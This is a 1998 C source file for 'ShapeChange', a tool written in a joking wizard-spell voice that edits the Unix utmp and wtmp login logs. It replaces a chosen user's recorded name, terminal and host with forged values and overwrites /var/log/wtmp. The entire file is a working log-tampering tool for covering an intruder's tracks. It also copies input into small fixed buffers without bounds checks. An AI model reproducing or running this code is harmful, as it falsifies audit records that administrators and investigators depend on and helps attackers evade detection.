/*
ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try
    this at home. Lets you disguise as another user :) on
    another terminal, from another host. Sorry, no abilities
    are attained if you try to disguise as a demigod.
         Usage: ShapeChange <user> <new ID> <new tty> <new host> [-w]

This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX
mantras, supply me with an IRIX wand. :) (or do it yourself). 
WTMP magic may not be all that clever to perform. High Priests could get
suspicious. My Warning Is Bestowed Upon Thoust Soul. ;)
Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and 
usable ! Check your Mojo bags and VooRoot mantras.
Or simply cast a +s(pell) to owner root =:)
*/

/*************************************************************************
*             Written by fusys no (C)1998       *
*  Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit   *
*  Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes.     *
*        AMEN.           *
*************************************************************************/

 
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define UTMP  "/var/run/utmp"   /* you're supposed to check these reagents */
#define WTMP  "/var/log/wtmp"   /*   for the spell to function properly    */

int main (int argc, char *argv[])
  {
  
    struct utmp ut ;
    int size, fin, fout ;
    int wspell = 0 ;
    char user[10], newuser[10], line[10], host[100] ;

    if ((argc!=5) && (argc!=6)) {
      fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ;
      fprintf(stderr, "\nUsage: %s <user> <new ID> <new tty> <new host> [-w]\n\n", argv[0]) ;
      exit (0) ;
    }

    size=sizeof(ut) ;
    strcpy(user, argv[1]) ;
    strcpy(newuser, argv[2]) ;
    strcpy(line, argv[3]) ;
    strcpy(host, argv[4]) ;
    if (argv[5]) {
      if ((argv[5][0]=='-') && (argv[5][1]=='w')) {
        wspell = 1 ;
      }
      else {
        fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ;
        exit (0) ;
      }
    }

    fin = open (UTMP, O_RDWR) ;
    if (fin < 0) {
      fprintf(stderr, "\nLacking Utmp Reagent.\n") ;
      exit (0) ;
    }
    else {

      while (read (fin, &ut, size) == size) {
        if (!strncmp(ut.ut_user, user, strlen(user))) { 
          strcpy(ut.ut_user, newuser) ;
          strcpy(ut.ut_line, line) ;
          strcpy(ut.ut_host, host) ;  
          lseek(fin, -1*size, SEEK_CUR) ;
          write(fin, &ut, size) ;
        }
      }
    close(fin) ;
    }

  if (wspell) {
    fin = open (WTMP, O_RDONLY) ;
    fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ;
    if (fin < 0) {
      fprintf(stderr, "\nLacking Wtmp Reagent.\n") ;
      close (fin) ;
    }
    else if (fout < 0) {
      fprintf(stderr, "\nHmm. No Space For Gestures.\n") ;
      close (fout) ;
    }
    else {
      while (read (fin, &ut, size) == size) {
        if (!strncmp(ut.ut_user, user, strlen(user))) {
        strcpy(ut.ut_user, newuser) ;
        strcpy(ut.ut_line, line) ;
        strcpy(ut.ut_host, host) ;
        }
        write (fout, &ut, size) ;
      }
      close (fin) ;
      close (fout) ;
    }
     }

    printf("\nSummoning energies ....") ;
    printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ;
    printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ;
    if (wspell) {
    system("/bin/mv wtmp.spell /var/log/wtmp") ;
    system("chmod 644 /var/log/wtmp") ;
    }
    exit (0) ;
}